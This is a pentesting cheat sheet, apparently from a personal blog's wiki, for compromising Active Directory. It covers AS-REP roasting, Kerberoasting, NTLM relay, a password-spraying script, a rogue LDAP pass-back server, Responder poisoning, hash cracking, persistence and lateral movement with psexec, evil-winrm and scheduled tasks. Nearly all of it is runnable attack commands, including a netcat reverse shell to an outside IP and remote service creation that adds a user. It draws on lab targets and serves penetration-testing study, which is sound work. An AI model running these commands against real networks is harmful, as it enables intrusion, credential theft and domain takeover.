&#039;&#039;&#039;AS_REP Roasting&#039;&#039;&#039; is taking place during the initial authentication procedure within Kerberos. It´s abusing the fact, that for accounts with the option &#039;&#039;&#039;Do not require Kerberos preauthentication&#039;&#039;&#039; set, there is no need to send the (normally required) encrypted timestamp (with the users password hash) at the very beginning. Thus everyone on the network who knows the name of an affected account may ask the &#039;&#039;&#039;KDC&#039;&#039;&#039; to authenticate as that user and in return fetch a &#039;&#039;&#039;AS_REP&#039;&#039;&#039; response which partly is encrypted with the AS_REP roastable account´s password hash. Once obtained, an attacker can try to offline crack the hash and fetch the cleartext credentials.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Kerberoasting&#039;&#039;&#039; aims at asking for service tickets related to services on the network where the &#039;&#039;&#039;SPNs&#039;&#039;&#039; are tied to user accounts, rather than computer accounts. The background here is that if a person creates a user he will choose the password most likely according to human standards i.e. a phrase, a word mixed with numbers, etc. If that password is weakly chosen, then it is possible to crack the hash and get the cleartext credentials.&lt;br /&gt;
During the process of asking to access a service on the network, the &#039;&#039;&#039;TGS&#039;&#039;&#039; will send a data package that contains a service ticket which is encrypted with the service-account´s password hash, that again like in the &#039;&#039;&#039;AS_REP roasting&#039;&#039;&#039; attack can be cracked offline.&lt;br /&gt;
&lt;br /&gt;
= Finding valid credentials =&lt;br /&gt;
&lt;br /&gt;
== Pentest network ==&lt;br /&gt;
&lt;br /&gt;
See [https://blog.aghanim.net/?page_id=2041 methodology]&lt;br /&gt;
&lt;br /&gt;
* Try exploit vulnerabilities on open ports&lt;br /&gt;
&lt;br /&gt;
* Try extract credentials from open ports&lt;br /&gt;
&lt;br /&gt;
== Enumerate DNS ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== OSINT and Phishing ==&lt;br /&gt;
&lt;br /&gt;
* Check public forums like [https://stackoverflow.com/ Stack Overflow]&lt;br /&gt;
&lt;br /&gt;
* Check public repo on github&lt;br /&gt;
&lt;br /&gt;
* Breached credentials. (Dehashed, intelx etc)&lt;br /&gt;
&lt;br /&gt;
* Google dorking&lt;br /&gt;
&lt;br /&gt;
== Null and Guest access on SMB services ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
enum4linux -a -u &amp;quot;&amp;quot; -p &amp;quot;&amp;quot;  &amp;amp;&amp;amp; enum4linux -a -u &amp;quot;guest&amp;quot; -p &amp;quot;&amp;quot;&lt;br /&gt;
smbmap -u &amp;quot;&amp;quot; -p &amp;quot;&amp;quot; -P 445 -H  &amp;amp;&amp;amp; smbmap -u &amp;quot;guest&amp;quot; -p &amp;quot;&amp;quot; -P 445 -H&lt;br /&gt;
smbclient -U &#039;%&#039; -L // &amp;amp;&amp;amp; smbclient -U &#039;guest%&#039; -L //&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== NTLM Relay attack ==&lt;br /&gt;
&lt;br /&gt;
NTLM relay is a technique that allows an attacker to intercept and forward NTLM authentication requests between a client and a server. The attacker can use this technique to gain access to the server or perform other actions on behalf of the client. For example, an attacker can use NTLM relay to dump the hashes of all domain users from a domain controller using DCSYNC.&lt;br /&gt;
&lt;br /&gt;
Example: an attacker could use PetitPotam to force a domain controller to authenticate to a malicious server and then relay the NTLM request to another domain controller and perform a DCSync operation, which allows the attacker to dump all the password hashes from Active Directory. This could result in a complete takeover of the Windows domain.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py&lt;br /&gt;
 This module performs the SMB Relay attacks originally discovered by cDc extended to many target protocols (SMB, MSSQL, LDAP, etc).&lt;br /&gt;
   It receives a list of targets and for every connection received it will choose the next target and try to relay the credentials. Also, if specified, it will first to try authenticate against the client connecting to us.&lt;br /&gt;
 It is implemented by invoking a SMB and HTTP Server&lt;br /&gt;
&lt;br /&gt;
https://github.com/CCob/lsarelayx&lt;br /&gt;
lsarelayx is system wide NTLM relay tool designed to relay incoming NTLM based authentication to the host it is running on. lsarelayx will relay any incoming authentication request which includes SMB.&lt;br /&gt;
&lt;br /&gt;
https://github.com/topotam/PetitPotam&lt;br /&gt;
PetitPotam is a technique that can be used to perform NTLM relay attacks against Windows servers, including domain controllers.&lt;br /&gt;
&lt;br /&gt;
https://0xdf.gitlab.io/2019/01/13/getting-net-ntlm-hases-from-windows.html&lt;br /&gt;
Good explanation of NTLM relay.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== NTLM Authenticated Services ==&lt;br /&gt;
&lt;br /&gt;
New Technology LAN Manager (NTLM) is the suite of security protocols used to authenticate users&#039; identities in AD.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
def password_spray(self, password, url):&lt;br /&gt;
    print (&amp;quot;[*] Starting passwords spray attack using the following password: &amp;quot; + password)&lt;br /&gt;
    #Reset valid credential counter&lt;br /&gt;
    count = 0&lt;br /&gt;
    #Iterate through all of the possible usernames&lt;br /&gt;
    for user in self.users:&lt;br /&gt;
        #Make a request to the website and attempt Windows Authentication&lt;br /&gt;
        response = requests.get(url, auth=HttpNtlmAuth(self.fqdn + &amp;quot;\\&amp;quot; + user, password))&lt;br /&gt;
        #Read status code of response to determine if authentication was successful&lt;br /&gt;
        if (response.status_code == self.HTTP_AUTH_SUCCEED_CODE):&lt;br /&gt;
            print (&amp;quot;[+] Valid credential pair found! Username: &amp;quot; + user + &amp;quot; Password: &amp;quot; + password)&lt;br /&gt;
            count += 1&lt;br /&gt;
            continue&lt;br /&gt;
        if (self.verbose):&lt;br /&gt;
            if (response.status_code == self.HTTP_AUTH_FAILED_CODE):&lt;br /&gt;
                print (&amp;quot;[-] Failed login with Username: &amp;quot; + user)&lt;br /&gt;
    print (&amp;quot;[*] Password spray attack completed, &amp;quot; + str(count) + &amp;quot; valid credential pairs found&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python ntlm_passwordspray.py -u  -f  -p  -a&lt;br /&gt;
 - Textfile containing our usernames - &amp;quot;usernames.txt&amp;quot;&lt;br /&gt;
 - Fully qualified domain name associated with the organisation that we are attacking - &amp;quot;za.tryhackme.com&amp;quot;&lt;br /&gt;
 - The password we want to use for our spraying attack - &amp;quot;Changeme123&amp;quot;&lt;br /&gt;
 - The URL of the application that supports Windows Authentication - &amp;quot;http://ntlmauth.za.tryhackme.com&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== LDAP ==&lt;br /&gt;
&lt;br /&gt;
See [https://blog.aghanim.net/?page_id=1809#389_636_3268_3269_-_LDAP cheatsheet LDAP]&lt;br /&gt;
&lt;br /&gt;
LDAP authentication is similar to NTLM authentication. However, with LDAP authentication, the application directly verifies the user&#039;s credentials. The application has a pair of AD credentials that it can use first to query LDAP and then verify the AD user&#039;s credentials.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -n -sV --script &amp;quot;ldap* and not brute&amp;quot; -p 389&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ldapsearch -x -h 192.168.89.122 -b &amp;quot;dc=hutch,dc=offsec&amp;quot; &amp;gt; ldap.searchquery&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== LDAP Pass-back Attack ===&lt;br /&gt;
&lt;br /&gt;
In an LDAP Pass-back attack, we can modify this IP to our IP and then test the LDAP configuration, which will force the device to attempt LDAP authentication to our rogue device.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Setup rogue LDAP server&lt;br /&gt;
sudo apt-get update &amp;amp;&amp;amp; sudo apt-get -y install slapd ldap-utils &amp;amp;&amp;amp; sudo systemctl enable slapd&lt;br /&gt;
# Configure the rogue LDAP server&lt;br /&gt;
sudo dpkg-reconfigure -p low slapd&lt;br /&gt;
# Make rogue LDAP server vulnerable by downgrading the supporten authentication mechanism. Add this to a file called &amp;quot;olcSalSecProps.ldif&amp;quot;:&lt;br /&gt;
#olcSaslSecProps.ldif&lt;br /&gt;
dn: cn=config&lt;br /&gt;
replace: olcSaslSecProps&lt;br /&gt;
olcSaslSecProps: noanonymous,minssf=0,passcred&lt;br /&gt;
&lt;br /&gt;
olcSaslSecProps: Specifies the SASL security properties&lt;br /&gt;
noanonymous: Disables mechanisms that support anonymous login&lt;br /&gt;
minssf: Specifies the minimum acceptable security strength with 0, meaning no protection.&lt;br /&gt;
# Now we can use the ldif file to patch our LDAP server using the following:&lt;br /&gt;
sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif &amp;amp;&amp;amp; sudo service slapd restart&lt;br /&gt;
# Verify rogue LDAP servers config&lt;br /&gt;
[kali@kali]$ ldapsearch -H ldap:// -x -LLL -s base -b &amp;quot;&amp;quot; supportedSASLMechanisms&lt;br /&gt;
dn:&lt;br /&gt;
supportedSASLMechanisms: PLAIN&lt;br /&gt;
supportedSASLMechanisms: LOGIN&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Capturing LDAP Credentials. We will have to trigger the authenticaiton to go to our rogue LDAP server.&lt;br /&gt;
sudo tcpdump -SX -i eth0 tcp port 389&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Authentication Relays ==&lt;br /&gt;
&lt;br /&gt;
Responder allows us to perform Man-in-the-Middle attacks by poisoning the responses during NetNTLM authentication, tricking the client into talking to you instead of the actual server they wanted to connect to. On a real LAN, Responder will attempt to poison any  Link-Local Multicast Name Resolution (LLMNR),  NetBIOS Name Servier (NBT-NS), and Web Proxy Auto-Discovery (WPAD) requests that are detected.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/lgandx/Responder&lt;br /&gt;
# Start responder&lt;br /&gt;
sudo responder -I tun0&lt;br /&gt;
# Downgrade NTLM authentication when possible. Allow capture NTLMv1 challenge and response.&lt;br /&gt;
#Remember that in order to crack NTLMv1 you need to set Responder challenge to &amp;quot;1122334455667788&amp;quot;&lt;br /&gt;
responder -I  --lm --disable-ess #Downgrade NTLM authntication if possible and force ESS downgrade&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Microsoft Deployment Toolkit ==&lt;br /&gt;
&lt;br /&gt;
Microsoft Deployment Toolkit (MDT) is a Microsoft service that assists with automating the deployment of Microsoft Operating Systems (OS).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Import-Module .\PowerPXE.ps1&lt;br /&gt;
$BCDFile = &amp;quot;conf.bcd&amp;quot;&lt;br /&gt;
Get-WimFile -bcdFile $BCDFile&lt;br /&gt;
Get-FindCredentials -WimFile pxeboot.wim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
= User enumeration =&lt;br /&gt;
&lt;br /&gt;
When an &#039;&#039;&#039;invalid username is requested&#039;&#039;&#039; the server will respond using the &#039;&#039;&#039;Kerberos error&#039;&#039;&#039; code &#039;&#039;KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt&lt;br /&gt;
nmap -p 88 --script=krb5-enum-users --script-args=&amp;quot;krb5-enum-users.realm=&#039;DOMAIN&#039;&amp;quot;&lt;br /&gt;
Nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm=&#039;&#039;,userdb=/root/Desktop/usernames.txt&lt;br /&gt;
msf&amp;gt; use auxiliary/gather/kerberos_enumusers&lt;br /&gt;
crackmapexec smb dominio.es  -u &#039;&#039; -p &#039;&#039; --users | awk &#039;{print $4}&#039; | uniq&lt;br /&gt;
nxc smb dc01.manager.htb -u anonymous -p &amp;quot;&amp;quot; --rid-brute 10000&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Knowing a userame(s) ==&lt;br /&gt;
&lt;br /&gt;
=== ASREPRoast ===&lt;br /&gt;
&lt;br /&gt;
The ASREPRoast attack looks for &#039;&#039;&#039;users without Kerberos pre-authentication required attribute (&#039;&#039;&#039;[https://support.microsoft.com/en-us/help/305144/how-to-use-the-useraccountcontrol-flags-to-manipulate-user-account-pro DONT_REQ_PREAUTH]&#039;&#039;&#039;&#039;&#039;)&#039;&#039;&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/asreproast https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/asreproast]&lt;br /&gt;
&lt;br /&gt;
That means that anyone can send an AS_REQ request to the DC on behalf of any of those users, and receive an AS_REP message. This last kind of message contains a chunk of data encrypted with the original user key, derived from its password. Then, by using this message, the user password could be cracked offline.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ENUMERATE VULNERABLE USERS (NEED DOMAIN CREDS)&lt;br /&gt;
Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# REQUEST AS_REP MESSAGE&lt;br /&gt;
# Linux&lt;br /&gt;
# Try all the usernames in usernames.txt&lt;br /&gt;
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast&lt;br /&gt;
# Use domain creds to extract targets and target them&lt;br /&gt;
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast&lt;br /&gt;
# Windows&lt;br /&gt;
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast&lt;br /&gt;
Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# Cracking the hashes&lt;br /&gt;
john --wordlist=passwords_kerb.txt hashes.asreproast&lt;br /&gt;
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# PERSISTENCE&lt;br /&gt;
# Force preauth not required for a user where you have GenericAll permissions (or permissions to write properties):&lt;br /&gt;
Set-DomainObject -Identity  -XOR @{useraccountcontrol=4194304} -Verbose&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Password spraying ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/password-spraying https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/password-spraying]&lt;br /&gt;
&lt;br /&gt;
Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames https://github.com/insidetrust/statistically-likely-usernames]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# PASSWORD POLICY&lt;br /&gt;
# Need valid creds&lt;br /&gt;
crackmapexec  -u &#039;user&#039; -p &#039;password&#039; --pass-pol&lt;br /&gt;
enum4linx -u &#039;username&#039; -p &#039;password&#039; -P&lt;br /&gt;
(Get-DomainPolicy).&amp;quot;SystemAccess&amp;quot; #From powerview&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# LOCKOUT CHECK&lt;br /&gt;
# https://github.com/Greenwolf/Spray&lt;br /&gt;
# To prevent lockout it&#039;s best not to try with more than 5/7 passwords per account.&lt;br /&gt;
spray.sh -smb&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# PASSWORD SPRAYING&lt;br /&gt;
crackmapexec smb  -u users.txt -p passwords.txt&lt;br /&gt;
## Successor to crackmapexec&lt;br /&gt;
nxc smb  -u users.txt -p passwords.txt [-H hashes.txt]&lt;br /&gt;
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123&lt;br /&gt;
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman&lt;br /&gt;
# with a list of users&lt;br /&gt;
.\Rubeus.exe brute /users: /passwords: /domain: /outfile:&lt;br /&gt;
# check passwords for all users in current domain&lt;br /&gt;
.\Rubeus.exe brute /passwords: /outfile:&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# Crack hash&lt;br /&gt;
john --wordlist=passwords_kerb.txt hashes.asreproast&lt;br /&gt;
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# Powershell passwordspraying script&lt;br /&gt;
https://github.com/dafthack/MSOLSpray&lt;br /&gt;
Import-Module MSOLSpray.ps1&lt;br /&gt;
Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
= Enumerating Active Directory with valid credentials/session =&lt;br /&gt;
&lt;br /&gt;
== Shell with credentials ==&lt;br /&gt;
&lt;br /&gt;
If you have valid credentials you could try to get a shell.&lt;br /&gt;
&lt;br /&gt;
To get shell with Administrator user and not with NT Authority\system, use WinExec or Evil-Winrm&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CrackMapExec&lt;br /&gt;
# Validate if credentials found is valide, and which protocol you can use to get a shell. {ssh,smb,mssql,winrm,ldap} Notice Pwn3d! with creds enox:california&lt;br /&gt;
crackmapexec winrm 192.168.204.165 -u enox -p california&lt;br /&gt;
WINRM       192.168.204.165 5985   NONE             [+] None\enox:california (Pwn3d!)&lt;br /&gt;
# Can also be used to brute force&lt;br /&gt;
crackmapexec   -u ~/file_containing_usernames -p ~/file_containing_passwords&lt;br /&gt;
crackmapexec   -u ~/file_containing_usernames -H ~/file_containing_ntlm_hashes&lt;br /&gt;
&lt;br /&gt;
# SSH - Port 22&lt;br /&gt;
# If SSH is open try to SSH to target&lt;br /&gt;
ssh user@target [-i id_rsa]&lt;br /&gt;
&lt;br /&gt;
# WinRM - Port 5895, 5896&lt;br /&gt;
# If port 5985,5986 is open, try Evil-Winrm&lt;br /&gt;
gem install evil-winrm&lt;br /&gt;
evil-winrm -u Administrator -p &#039;EverybodyWantsToWorkAtP.O.O.&#039;  -i /&lt;br /&gt;
evil-winrm -u Administrator -H &#039;Use_hash_here&#039;  -i /&lt;br /&gt;
winrs.exe -u:Administrator -p:Mypass123 -r:target cmd&lt;br /&gt;
&lt;br /&gt;
# PTH-winexe&lt;br /&gt;
Basic syntax w/ credentials.&lt;br /&gt;
winexe -U % // cmd.exe&lt;br /&gt;
Basic syntax w/ NTLM hash (pass the hash technique).&lt;br /&gt;
pth-winexe -U % // cmd.exe&lt;br /&gt;
&lt;br /&gt;
# RDP - Port 3389&lt;br /&gt;
xrdp target&lt;br /&gt;
remmina&lt;br /&gt;
rdesktop target&lt;br /&gt;
&lt;br /&gt;
# PSExec &amp;amp; SMBExec - Port 445&lt;br /&gt;
# Both options will create a new service (using \pipe\svcctl via SMB) in the victim machine and use it to execute something (psexec will upload an executable file to ADMIN$ share and smbexec will point to cmd.exe/powershell.exe and put in the arguments the payload --file-less technique--).&lt;br /&gt;
# If no password is provided, it will be prompted&lt;br /&gt;
./psexec.py [[domain/]username[:password]@]&lt;br /&gt;
./psexec.py -hashes  administrator@10.10.10.103 #Pass-the-Hash&lt;br /&gt;
psexec \\192.168.122.66 -u Administrator -p 123456Ww&lt;br /&gt;
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash&lt;br /&gt;
# From sysinternals&lt;br /&gt;
PsExec.exe -i -u domain\user cmd.exe&lt;br /&gt;
# PSExec with Powershel&lt;br /&gt;
$username = &#039;Administrator&#039;;&lt;br /&gt;
$password = &#039;Mypass123&#039;;&lt;br /&gt;
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;&lt;br /&gt;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;&lt;br /&gt;
Enter-PSSession -Computername TARGET -Credential $credential&lt;br /&gt;
# If there is a config file, use -ConfigruationName&lt;br /&gt;
Enter-PSSession -ComputerName TARGET -ConfigurationName CONFIG_NAME&lt;br /&gt;
# Powershell also includes the Invoke-Command cmdlet, which runs ScriptBlocks remotely via WinRM. Credentials must be passed through a PSCredential object as well:&lt;br /&gt;
Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}&lt;br /&gt;
&lt;br /&gt;
# Remotely creat services using sc - port 135,445,139&lt;br /&gt;
sc.exe \\TARGET create AGservice binPath= &amp;quot;net user test test123 /add&amp;quot; start= auto&lt;br /&gt;
sc.exe \\TARGET start AGservice&lt;br /&gt;
# Stop or delete service&lt;br /&gt;
sc.exe \\TARGET stop AGservice&lt;br /&gt;
sc.exe \\TARGET delete AGservice&lt;br /&gt;
&lt;br /&gt;
# Creating scheduled tasks remotely&lt;br /&gt;
schtasks /s TARGET /RU &amp;quot;SYSTEM&amp;quot; /create /tn &amp;quot;AGtask1&amp;quot; /tr &amp;quot;&amp;quot; /sc ONCE /sd 01/01/1970 /st 00:00&lt;br /&gt;
schtasks /s TARGET /run /TN &amp;quot;AGtask1&amp;quot;&lt;br /&gt;
# /sc - Task will only run once. Starting date and time dosent matter because of this.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Shell - Changing user if you have a shell ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you have a shell as a user, most likely runas command wont work because we cant type our password when prompted with typing our password. There are some tools you can try.&lt;br /&gt;
# Invoke-RunasCs.exe&lt;br /&gt;
# https://github.com/antonioCoco/RunasCs&lt;br /&gt;
.\RunasCs_net4.exe svc_mssql trustno1 cmd.exe -r 192.168.49.199:443&lt;br /&gt;
&lt;br /&gt;
# RunAsUser.exe&lt;br /&gt;
# https://github.com/atthacks/RunAsUser&lt;br /&gt;
RunAsUser.exe -u superadmin -p funnyhtb -f c:\users\public\nc.exe -a &#039;10.10.14.12 9001 -e cmd.exe&#039;&lt;br /&gt;
&lt;br /&gt;
# Try writing a ps1 script to use runas command&lt;br /&gt;
# cat runme.ps1&lt;br /&gt;
$secpasswd = ConvertTo-SecureString &amp;quot;trustno1&amp;quot; -AsPlainText -Force&lt;br /&gt;
$mycreds = New-Object System.Management.Automation.PSCredential (&amp;quot;svc_msssql&amp;quot;, $secpasswd)&lt;br /&gt;
$computer = &amp;quot;access.offsec&amp;quot;&lt;br /&gt;
[System.Diagnostics.Process]::Start(&amp;quot;C:\xampp\htdocs\uploads\shell.exe&amp;quot;,&amp;quot;&amp;quot;, $mycreds.Username, $mycreds.Password, $computer)&lt;br /&gt;
# or&lt;br /&gt;
$creds = New-Object System.Management.Automation.PSCredential (&amp;quot;example.com\tan&amp;quot;, (ConvertTo-SecureString &amp;quot;Password&amp;quot; -AsPlainText -Force))&lt;br /&gt;
Get-DomainUser -Credential $creds&lt;br /&gt;
# Abusing WriteDACL&lt;br /&gt;
# What is WriteDACL?&lt;br /&gt;
## It&#039;s an access right that grants permission to modify the Discretionary Access Control List (DACL) of Active Directory objects.&lt;br /&gt;
# See also this for more attack path&lt;br /&gt;
https://www.thehacker.recipes/ad/movement/dacl/grant-rights&lt;br /&gt;
# To identify user accounts that are potentially misconfigured, you can use Get-DomainUser and Get-ObjectAcl:&lt;br /&gt;
PS C:\tools&amp;gt; Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq &amp;quot;$env:UserDomain\$env:Username&amp;quot;) {$_}}&lt;br /&gt;
# With WriteDACL rights, an attacker can modify access rights of an AD object. The example provided demonstrates adding the GenericAll right:&lt;br /&gt;
PS C:\tools&amp;gt; Add-DomainObjectAcl -TargetIdentity testservice2 -PrincipalIdentity offsec -Rights All&lt;br /&gt;
# To verify that the GenericAll right is set on testservice2 we can enumerate. And after that change the password as we did above:&lt;br /&gt;
PS C:\tools&amp;gt; Get-ObjectAcl -Identity testservice2 -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq &amp;quot;$env:UserDomain\$env:Username&amp;quot;) {$_}}&lt;br /&gt;
&lt;br /&gt;
# Anoter Example of Abusing WriteDACL&lt;br /&gt;
# User have WriteDACL rights on mailadmins. We can modify our rights to get GenericAll on the group&lt;br /&gt;
$SecPassword = ConvertTo-SecureString &#039;test&#039; -AsPlainText -Force&lt;br /&gt;
$Cred = New-Object System.Management.Automation.PSCredential(&#039;user1&#039;, $SecPassword)&lt;br /&gt;
Add-DomainObjectAcl -Credential $Cred -TargetIdentity &amp;quot;Mailadmins&amp;quot; -PrincipalIdentity user1-Rights All&lt;br /&gt;
# Now we can add ourselvs to the group by using PowerViews&lt;br /&gt;
Add-DomainGroupMember -Identity &amp;quot;mailadmins&amp;quot; -Members sqlsvc -Credential $Cred&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Basic commands ==&lt;br /&gt;
&lt;br /&gt;
=== CMD ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/basic-cmd-for-pentesters#domain-info&lt;br /&gt;
# DOMAIN INFO&lt;br /&gt;
echo %USERDOMAIN% #Get domain name&lt;br /&gt;
echo %USERDNSDOMAIN% #Get domain name&lt;br /&gt;
echo %logonserver% #Get name of the domain controller&lt;br /&gt;
set logonserver #Get name of the domain controller&lt;br /&gt;
set log #Get name of the domain controller&lt;br /&gt;
net groups /domain #List of domain groups&lt;br /&gt;
net group &amp;quot;domain computers&amp;quot; /domain #List of PCs connected to the domain&lt;br /&gt;
net view /domain #Lis of PCs of the domain&lt;br /&gt;
nltest /dclist: #List domain controllers&lt;br /&gt;
net group &amp;quot;Domain Controllers&amp;quot; /domain #List PC accounts of domains controllers&lt;br /&gt;
net group &amp;quot;Domain Admins&amp;quot; /domain #List users with domain admin privileges&lt;br /&gt;
net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the grup &amp;quot;Domain Admins&amp;quot; is included here)&lt;br /&gt;
net user /domain #List all users of the domain&lt;br /&gt;
net user  /domain #Get information about that user&lt;br /&gt;
net accounts /domain #Password and lockout policy&lt;br /&gt;
nltest /domain_trust #Mapping of the trust relationships.&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# USERS&lt;br /&gt;
whoami /all #All info about me, take a look at the enabled tokens&lt;br /&gt;
whoami /priv #Show only privileges&lt;br /&gt;
net users #All users&lt;br /&gt;
dir /b /ad &amp;quot;C:\Users&amp;quot;&lt;br /&gt;
net user %username% #Info about a user (me)&lt;br /&gt;
net accounts #Information about password requirements&lt;br /&gt;
qwinsta #Anyone else logged in?&lt;br /&gt;
net user /add [username] [password] #Create user&lt;br /&gt;
#Lauch new cmd.exe with new creds (to impersonate in network)&lt;br /&gt;
runas /netonly /user\ &amp;quot;cmd.exe&amp;quot; ::The password will be prompted&lt;br /&gt;
#Check current logon session as administrator using logonsessions from sysinternals&lt;br /&gt;
logonsessions.exe&lt;br /&gt;
logonsessions64.exe&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# GROUPS&lt;br /&gt;
#Local&lt;br /&gt;
net localgroup #All available groups&lt;br /&gt;
net localgroup Administrators #Info about a group (admins)&lt;br /&gt;
net localgroup administrators [username] /add #Add user to administrators&lt;br /&gt;
#Domain&lt;br /&gt;
net group /domain #Info about domain groups&lt;br /&gt;
net group /domain  #Users that belongs to the group&lt;br /&gt;
